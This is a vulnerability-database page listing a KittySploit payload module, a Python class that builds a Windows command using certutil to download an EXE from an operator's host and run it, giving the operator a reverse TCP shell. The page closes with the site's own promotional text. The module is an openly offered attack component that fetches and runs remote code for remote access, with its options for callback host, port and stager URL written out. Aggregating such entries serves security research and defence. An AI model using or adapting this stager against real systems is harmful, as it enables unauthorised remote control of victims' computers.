Lucene search
+L

Windows Download Stager, certutil EXE (reverse TCP)

🗓️ 08 Aug 2026 21:48:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Windows Download Stager downloads and executes an EXE via certutil.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.c2.download_stagers import build_certutil_download_exec, build_stager_url


class Module(Payload):
    __info__ = {
        "name": "Windows Download Stager, certutil EXE (reverse TCP)",
        "description": (
            "Downloads a hosted Windows EXE via certutil and executes it. "
            "Build the EXE with payloads/singles/cmd/multi/python_thin_stager "
            "(set compile_exe=true), host on stager_port as stager.exe."
        ),
        "category": PayloadCategory.CMD,
        "platform": Platform.WINDOWS,
        "listener": "listeners/multi/reverse_tcp",
        "handler": Handler.REVERSE,
        "session_type": SessionType.SHELL,
    }

    lhost = OptString("127.0.0.1", "Callback host (for URL hint)", True)
    lport = OptPort(4444, "Callback port embedded in EXE", True)
    stager_url = OptString("", "Full URL of hosted EXE", False)
    stager_port = OptInteger(8000, "Operator HTTP port when stager_url is empty", False, advanced=True)
    dest_path = OptString("%TEMP%\\ks.exe", "Local path for downloaded EXE", False, advanced=True)

    def generate(self):
        url = str(self.stager_url or "").strip()
        if not url:
            url = build_stager_url(str(self.lhost), int(self.stager_port or 8000), "/stager.exe")
            print_info(f"stager_url not set — using {url}")
        return build_certutil_download_exec(url, str(self.dest_path or "%TEMP%\\ks.exe"))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 21:48Current
5.9Medium risk
Vulners AI Score5.9
1